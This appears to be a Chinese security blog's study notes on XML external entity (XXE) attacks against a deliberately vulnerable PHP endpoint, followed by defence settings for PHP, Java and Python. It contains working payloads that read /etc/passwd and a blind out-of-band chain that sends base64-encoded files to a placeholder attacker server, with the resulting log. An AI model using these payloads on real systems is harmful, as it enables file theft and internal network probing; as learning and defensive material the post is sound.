凡心所向,素履所往

XXE 示例及利用

字数统计: 1.2k阅读时长: 5 min
2018/12/24 Share

注:
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用

简析XXE

php漏洞示例:


<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;

其中发送请求的请求头:当前客户端可以接收的文档类型。

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

payload


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ELEMENT name ANY >
<!ENTITY passwd SYSTEM "file:///etc/passwd">]>
<a>
        <name>&passwd;</name> 标签可以自定义,但由于echo$xml->name,然后echo 只能处理字符串,对其他变量不能处理,因此此处用print_r 效果更好 
</a>


<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
  • 直接通过外部实体DTD声明

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>
  • 通过外部实体引入外部DTD文档,再引入外部实体声明[没有验证成功,更换引用本地dtd也只能读取,解析出错]
    这种命名实体调用外部实体,发现xxe.dtd中不能定义/声明实体,否则解析不了。

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe 
[<!ENTITY  a  SYSTEM "http://127.0.0.1:8888/test/xxe.dtd" >]>

<name>&b;</name>

  • 通过外部参数实体引入外部实体声明

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
        <!ENTITY % xxe SYSTEM "http://127.0.0.1:8888/test/xxe.dtd" >
%xxe;
]>
<name>&b;</name>

XXE攻击面的拓展

XXE漏洞检测流程

有回显测试
  • 测试是否解析xml:

<?xml version=”1.0” encoding=”UTF-8”?>

<!DOCTYPE ANY [
<!ENTITY test "test">
]>

<root>&test;</root>

  • 测试是否支持外部实体
    用外部参数/普通实体测试一下 (system)

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

无回显测试

无防火墙的情况下,可以尝试ssrf


<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://xx.xx.xx.xx/">
%remote;]>

面对有回显和无回显部分

有回显比较简单暂不考虑

无回显:Blind XXE 构建带外信道

无回显任意文件读取
php://filter/read=convert.base64-encode/resource=./target.php 

获取目标内容
然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx

理论上来说 此处使用的逻辑:
通过嵌套形式的使用建立带外数据通道

直接在内部实体声明中引用另一个实体如下:


<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY>
<!ENTITY % param1 SYSTEM "file:///etc/passwd">
<!ENTITY % param2 SYSTEM "http://xx.xx.xx.xx/?%param1">
%param2;
]>

但由于不能在实体声明中引用参数实体,所以只能如下的引用:将嵌套实体声明放入外部实体文件(dtd/xml)
payload:


<?xml version="1.0" encoding="utf-8"?>
  <!DOCTYPE xxe [
  <!ELEMENT name ANY >
  <!ENTITY % load SYSTEM "http://xx.xx.xx.xx/xxe/xxe1.dtd">
  %load;
]>

xxe1.dtd:
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=s.php">
  <!ENTITY % top '
      <!ENTITY &#x25; send SYSTEM "http://xx.xx.xx.xx/?%file;">
  '>
%top; %send;
>

可以在日志中看到:


  "GET /xxe/xxe1.dtd HTTP/1.0" 200 403 "-" "-"
xx.xx.xx.xx - - [28/Dec/2018:12:44:24 +0800] "GET /?PD9waHAKJF8gPSAoJ2EnLidzJy4ncycuJ2UnLidyJy4oJwwnXid4JykpOwokX18gPSAkX0dFVFtfXS4nLy8nOwokX19fPSgkXy4nJyk7CigkX19fKT8kX19fKCRfXyk6JF9fXygkX18pOwo/Pg== HTTP/1.0" 200 2141 "-" "-"

达到任意文件读取的目的
但etc/passwd 直接读取编码后,(用get请求发送会显示读取字符串太长;初步测试长度hash后2945,但感觉这个数据有点怪异,有可能是其他原因)

此处也可以使用支持的其他协议:

libxml2支持: file/http/ftp

php支持:file/http/ftp/php/compress.zlib/compress.bzip2/data/glob/phar

java支持: http/https/ftp/file/jar/netdoc/mailto/gopher

NET支持:file/http/https/ftp
但当探测当目标具有防火墙或类似防护时,即不能直接通过ssrf判断是否存在时,需要变换思路-待补充

XML解析器

学习到这里 顺便学一下 XML解析器

XXE危害:

  • 读取任意文件:
  • 命令执行
    php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装
  • 内网探测/SSRF
  • 拒绝服务
XXE防御:
  • 最好的解决办法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD,即禁用外部实体
PHP:
libxml_disable_entity_loader(true);

JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC

参考资料:

http://docs.ioin.in/writeup/mohemiv.com/_all_exploiting_xxe_with_local_dtd_files_/index.html
https://www.honoki.net/2018/12/from-blind-xxe-to-root-level-file-read-access/
https://blog.csdn.net/u011721501/article/details/43775691 
CATALOG
  1. 1. 简析XXE
  2. 2. XXE攻击面的拓展
    1. 2.1. XXE漏洞检测流程
      1. 2.1.1. 有回显测试
      2. 2.1.2. 无回显测试
    2. 2.2. 面对有回显和无回显部分
      1. 2.2.1. 无回显任意文件读取
      2. 2.2.2. 但当探测当目标具有防火墙或类似防护时,即不能直接通过ssrf判断是否存在时,需要变换思路-待补充
    3. 2.3. XML解析器
  3. 3. XXE危害:
    1. 3.0.1. XXE防御: